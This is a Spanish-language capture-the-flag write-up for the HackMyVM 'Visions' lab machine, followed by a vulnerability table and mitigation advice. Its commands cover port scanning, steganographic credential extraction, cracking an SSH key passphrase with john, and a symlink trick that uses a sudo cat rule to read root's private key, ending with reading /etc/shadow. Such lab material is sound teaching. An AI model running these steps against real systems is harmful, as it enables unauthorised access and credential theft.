Visions
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina Visions, desarrollada por sml para HackMyVM y clasificada con dificultad Beginner. Esta máquina presenta un escenario donde técnicas de esteganografía y mala configuración de permisos sudo permiten una escalada de privilegios progresiva hasta alcanzar acceso root.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de información oculta en imágenes.
- Explotación: Análisis forense digital con esteganografía y extracción de credenciales.
- Escalada de privilegios: Abuso de permisos sudo y explotación de enlaces simbólicos para acceso root.
El entorno de prueba fue desplegado en VirtualBox utilizando una imagen OVA proporcionada por HackMyVM, simulando vulnerabilidades reales en sistemas Linux.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Visions |
| Autor | sml |
| Dificultad | Beginner |
| Fecha | 19/04/2021 |
| Plataforma | HackMyVM |
| Formato | Imagen OVA |
| IP Objetivo | 192.168.100.170 |

Figura 1: Página de información de la máquina Visions en HackMyVM
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Descarga y Preparación
Sección titulada «1.1 Descarga y Preparación»Descargamos la máquina desde HackMyVM:
# Accedemos a la página de descarga# https://hackmyvm.eu/machines/machine.php?vm=Visions
# Descargamos el archivo OVAwget [URL_DESCARGA_OVA] -O Visions.ova1.2 Importación en VirtualBox
Sección titulada «1.2 Importación en VirtualBox»Importamos la imagen OVA en VirtualBox:
# Desde interfaz gráfica o línea de comandosVBoxManage import Visions.ova --vsys 0 --vmname Visions1.3 Configuración de Red
Sección titulada «1.3 Configuración de Red»Configuramos la máquina para red NAT/Host-Only según sea necesario y la iniciamos:
VBoxManage startvm Visions --type headless1.4 Identificación de la IP
Sección titulada «1.4 Identificación de la IP»Una vez iniciada la máquina, obtenemos la dirección IP asignada:
Dirección IP objetivo: 192.168.100.1701.5 Organización del Workspace
Sección titulada «1.5 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p Visions/{content,exploits,nmap,web,scripts}cd VisionsFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 192.168.100.170 -oG allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 2: Servicios expuestos en la máquina
2.2 Análisis Detallado de Servicios
Sección titulada «2.2 Análisis Detallado de Servicios»Realizamos un escaneo más detallado:
nmap -sCV -p22,80 192.168.100.170 -oN detailed_scan.txtHallazgos:
- SSH: OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
- HTTP: Apache/2.4.52 (Ubuntu)
2.3 Análisis del Servicio Web
Sección titulada «2.3 Análisis del Servicio Web»Accedemos al servicio HTTP en el puerto 80:
curl -s http://192.168.100.170/2.4 Enumeración de Directorios Web
Sección titulada «2.4 Enumeración de Directorios Web»Realizamos un escaneo exhaustivo de directorios:
ffuf -u http://192.168.100.170/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -t 100 \ -fc 404Resultados obtenidos:
/index.html— Página principal/white.png— Imagen en formato PNG
2.5 Análisis del Código Fuente
Sección titulada «2.5 Análisis del Código Fuente»Inspeccionamos el código fuente de la página principal:
curl -s http://192.168.100.170/ | html2text
Figura 3: Comentario revelando nombre de usuario
Hallazgo crítico: Comentario HTML revela el nombre de usuario sophia.
2.6 Descarga de Recurso Sospechoso
Sección titulada «2.6 Descarga de Recurso Sospechoso»Descargamos la imagen identificada:
wget http://192.168.100.170/white.pngFase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Análisis Forense de la Imagen
Sección titulada «3.1 Análisis Forense de la Imagen»Realizamos análisis exhaustivo de la imagen white.png:
# Verificación básica del archivofile white.pngexiftool white.png3.2 Uso de AperiSolve para Análisis Avanzado
Sección titulada «3.2 Uso de AperiSolve para Análisis Avanzado»Utilizamos AperiSolve, una plataforma en línea que aplica múltiples técnicas de esteganografía y análisis forense:
- Subimos la imagen
white.pnga AperiSolve - Analizamos los resultados de múltiples herramientas integradas:
Hallazgos importantes:
-
Metadatos EXIF:
Figura 4: Comentario en metadatos que sugiere una contraseña
-
Análisis de capas de imagen: AperiSolve revela que la imagen contiene información oculta en diferentes capas, incluyendo credenciales para el usuario
sophia.
Credenciales extraídas:
- Usuario:
sophia - Contraseña: [extraída del análisis de capas]
3.3 Acceso Inicial al Sistema
Sección titulada «3.3 Acceso Inicial al Sistema»Utilizamos las credenciales descubiertas para acceder por SSH:
ssh sophia@192.168.100.170
Figura 5: Acceso SSH como usuario sophia
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema como sophia
Sección titulada «4.1 Enumeración del Sistema como sophia»Comenzamos la enumeración post-explotación:
whoamiidpwdls -la4.2 Verificación de Privilegios Sudo
Sección titulada «4.2 Verificación de Privilegios Sudo»sudo -l
Figura 6: Permisos sudo que permiten leer archivo específico
Hallazgo: (root) /usr/bin/cat /home/isabella/.invisible
4.3 De sophia → Lectura de Clave SSH de isabella
Sección titulada «4.3 De sophia → Lectura de Clave SSH de isabella»Ejecutamos el comando permitido:
sudo cat /home/isabella/.invisible
Figura 7: Clave SSH privada de isabella
Contenido obtenido: Clave SSH privada protegida con passphrase.
4.4 Crackeo de la Passphrase SSH
Sección titulada «4.4 Crackeo de la Passphrase SSH»Guardamos la clave en nuestro sistema local y extraemos el hash:
# Copiamos la clave a archivo localecho "-----BEGIN OPENSSH PRIVATE KEY-----" > id_rsa_isabellaecho "[CONTENIDO_DE_LA_CLAVE]" >> id_rsa_isabellaecho "-----END OPENSSH PRIVATE KEY-----" >> id_rsa_isabella
# Extraemos hash con ssh2johnssh2john id_rsa_isabella > isabella_hash.txt
# Ataque de fuerza brutajohn --wordlist=/usr/share/wordlists/rockyou.txt isabella_hash.txt
Figura 8: Passphrase crackeada
Passphrase obtenida: 123456789
4.5 Acceso como isabella
Sección titulada «4.5 Acceso como isabella»Utilizamos la clave con la passphrase crackeada:
chmod 600 id_rsa_isabellassh -i id_rsa_isabella isabella@192.168.100.170# Cuando solicite passphrase: 1234567894.6 De isabella → root
Sección titulada «4.6 De isabella → root»4.6.1 Análisis de la Situación Actual
Sección titulada «4.6.1 Análisis de la Situación Actual»Como isabella, verificamos nuestros privilegios:
whoamisudo -lObservación: isabella no tiene privilegios sudo directos, pero sophia puede leer .invisible en el directorio de isabella.
4.6.2 Creación de Enlace Simbólico Malicioso
Sección titulada «4.6.2 Creación de Enlace Simbólico Malicioso»Aprovechamos la capacidad de sophia para leer archivos específicos:
# Como isabella, reemplazamos .invisiblerm /home/isabella/.invisible
# Creamos enlace simbólico a clave SSH de rootln -s /root/.ssh/id_rsa /home/isabella/.invisible4.6.3 Lectura de Clave SSH de Root
Sección titulada «4.6.3 Lectura de Clave SSH de Root»Volvemos a la sesión de sophia y leemos el archivo vinculado:
# Desde sesión de sophiasudo cat /home/isabella/.invisibleResultado: Obtenemos la clave SSH privada de root.
4.6.4 Acceso Directo como Root
Sección titulada «4.6.4 Acceso Directo como Root»Guardamos la clave en nuestro sistema:
# En máquina atacanteecho "-----BEGIN OPENSSH PRIVATE KEY-----" > id_rsa_rootecho "[CLAVE_SSH_ROOT]" >> id_rsa_rootecho "-----END OPENSSH PRIVATE KEY-----" >> id_rsa_root
chmod 600 id_rsa_rootssh -i id_rsa_root root@192.168.100.170
Figura 9: Shell como usuario root obtenida
4.7 Verificación Final
Sección titulada «4.7 Verificación Final»idwhoamicat /etc/shadow | head -1Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Información sensible en metadatos de imagen | Media | Exposición de pistas/credenciales | CWE-200 |
| Credenciales ocultas mediante esteganografía débil | Alta | Compromiso de cuentas | CWE-312 |
| Comentarios en código fuente expuestos | Baja | Revelación de información | CWE-615 |
| Configuración insegura de sudo (cat específico) | Alta | Lectura arbitraria de archivos | CWE-269 |
| Claves SSH protegidas con passphrases débiles | Alta | Compromiso de autenticación | CWE-521 |
| Enlaces simbólicos sin restricciones | Crítica | Escalada de privilegios | CWE-61 |
| Falta de separación de privilegios adecuada | Media | Propagación de acceso | CWE-250 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Gestión de Metadatos y Esteganografía:
- Limpiar metadatos de archivos antes de publicarlos
- Utilizar herramientas como
exiftoolpara remover información sensible
Ventana de terminal exiftool -all= imagen.png- Educar a usuarios sobre riesgos de ocultar información en imágenes
- Implementar escaneo de contenido oculto en archivos subidos
-
Protección de Credenciales:
- Evitar almacenar credenciales en imágenes o metadatos
- Utilizar sistemas de gestión de secretos centralizados
- Implementar autenticación multifactor
- Rotar credenciales regularmente
-
Configuración Segura de Sudo:
- Especificar comandos exactos con argumentos completos
- Evitar permisos que permitan lectura arbitraria
Ventana de terminal # INCORRECTOsophia ALL=(root) /usr/bin/cat /home/isabella/.invisible# CORRECTO (si es necesario)sophia ALL=(root) /usr/bin/cat /home/isabella/.invisible --options-especificas- Implementar políticas de mínimo privilegio
-
Gestión de Claves SSH:
- Utilizar passphrases complejas (mínimo 20 caracteres)
- Considerar el uso de certificados SSH en lugar de claves estáticas
- Implementar agentes SSH para gestión segura de claves
- Rotar claves SSH regularmente
Ventana de terminal # Generar clave SSH segurassh-keygen -t ed25519 -a 100 -f nueva_clave -
Protección contra Enlaces Simbólicos:
- Configurar opciones de montaje con
nosuidynodev - Utilizar
openat()conO_NOFOLLOWen desarrollos - Implementar políticas que restrinjan enlaces simbólicos en áreas sensibles
// Ejemplo en C para evitar symlink attacksfd = open(path, O_RDONLY | O_NOFOLLOW); - Configurar opciones de montaje con
-
Hardening del Sistema de Archivos:
- Configurar permisos adecuados en directorios de usuarios
- Implementar SELinux/AppArmor para confinamiento
- Utilizar sistemas de archivos con capacidades de seguridad mejoradas
Ventana de terminal # Configurar permisos seguroschmod 700 /home/isabellachmod 600 /home/isabella/.ssh/* -
Monitoreo y Detección:
- Implementar logging de uso de comandos sudo
- Monitorear creación/modificación de enlaces simbólicos
- Configurar alertas para accesos no autorizados
- Realizar auditorías de seguridad periódicas
Ventana de terminal # Configurar auditd para monitorear symlinksauditctl -w /home/isabella/.invisible -p wa -k sensitive_symlink -
Concienciación y Capacitación:
- Capacitar a usuarios en higiene de seguridad digital
- Establecer políticas para manejo de información sensible
- Realizar ejercicios de respuesta a incidentes
- Implementar programas de seguridad para administradores